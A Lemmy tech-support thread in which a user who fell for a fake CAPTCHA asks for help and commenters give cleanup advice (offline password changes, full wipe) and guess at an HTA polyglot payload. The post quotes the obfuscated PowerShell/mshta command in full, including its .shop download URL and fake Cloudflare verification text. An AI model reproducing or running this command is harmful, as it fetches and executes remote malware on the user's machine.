techsupport

2796 readers

8 users here now

The Lemmy community will help you with your tech problems and questions about anything here. Do not be shy, we will try to help you.

If something works or if you find a solution to your problem let us know it will be greatly apreciated.

Rules: instance rules + stay on topic

Partnered communities:

You Should Know

Software gore

Recommendations

founded 2 years ago

MODERATORS

[email protected]

Help! I was hit with a fake Captcha attack (lemm.ee)

submitted 1 month ago by [email protected] to c/[email protected]

11 comments fedilink hide all child comments

I accidentally executed

POwErsHeLL -w 1 & \W*\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\S*2\\\\\\\\\\\m*ht*e https://mnjk-jk.bsdfg-zmp-q-n.shop/1.mp4 # ✅ ''Ι am nοt a rοbοt: Clοudflare Verificatiοn ΙD: 715921''

via Windows Run a couple of days ago. Realized what I had done today after seeing a post on it.

What should I do? is full system wipe necessary? or can I remove it somehow?

If I need to do a system format what about attached drives and other devices on the network?

top 11 comments

sorted by: hot top controversial new old

[–] [email protected] 6 points 1 month ago (1 children)

U got a virus. Anything from a crypto miner to a password/credit card stealer.

Turn off the effected computer pull put the drive plug it into a separate computer as a secondary drive. Pull the data u need off the drive and make a backup. Then wipe the old system full reset(update BIOS if ur really paranoid). Then copy over ur backed up data. Do not copy any executable file from the infected drive.

Go change ALL ur passwords that u ever saved on that computer. And watch ur bank statements like a hawk.

[–] [email protected] 4 points 1 month ago (1 children)

Don't do this - plugging in an infected drive can infect the secondary computer; you may wish to plug it into a linux or other hardened system to get the data however. The post by @silverdiamond is a better response.

[–] [email protected] 1 points 1 month ago (1 children)

I highly doubt some random malware has the capacity to reprogramme the firmware to do some rubber ducky type shit.

[–] [email protected] 1 points 1 month ago

Late response, sorry - but I don't see why not? I mean... this is part of the standard plug-in module system available in most malware creation tool-kits, so it should be assumed that USB drives of unknown provenance will either 1) contain malware as part of the USB auto-run (Now not used very often, but can infect older computers), or 2) part of the USB firmware just as standard operating procedure.

[–] [email protected] 5 points 1 month ago

as others have said its a virus, its probably a infostealer, it might have some sort of persistance mechanism so put your pc offline and use another one to change all of your passwords (email & banks ones first) and log out everywhere to invalidate tokens, if youve saved cards freeze them, then wipe your pc that got infected and fresh install https://www.youtube.com/watch?v=HUR4QOHEurY

[–] [email protected] 4 points 1 month ago* (last edited 1 month ago)

Hackers have been figuring out a variety of nifty ways to trigger powershell commands for nefarious purposes. For whatever it's worth, I'm glad you spotted it. As the other commenter suggested, I'd recommend a full data backup and ~~reinstall Windows~~ install Linux. And change your passwords and shit.

Also, this video from ThioJoe is very relevant and revealing as to how sneaky these sort of attacks can be...

https://youtube.com/watch?v=0x5qAc85PvQ

[–] [email protected] 4 points 1 month ago (1 children)

What is that supposed to do?

[–] [email protected] 1 points 1 month ago (1 children)

I'm not too sure. I think -w runs powershell silently?! I'm hoping someone can figure out the rest.

[–] [email protected] 2 points 1 month ago (1 children)

well thats the neat part, the url it presumably downloads and executes the first payload from has died so no unless you catch it when its live you can't easily replicate what happended on your computer anywhere else i have no clue what the powershell is doing but hiding malware in a weird file or pretending its a different file type and then executing that file isn't uncommon

[–] [email protected] 2 points 1 month ago

This example is likely an HTA polyglot. An actual MP4 is merged with a binary, basically. The MP4 will play as normal, but the powershell is responsible for execution of the malware.

[–] [email protected] 2 points 1 month ago

I'm on

Version	21H2
Installed on	‎06-‎12-‎2024
OS build	19044.5608
Experience	Windows Feature Experience Pack 1000.19061.1000.0

if that's relevant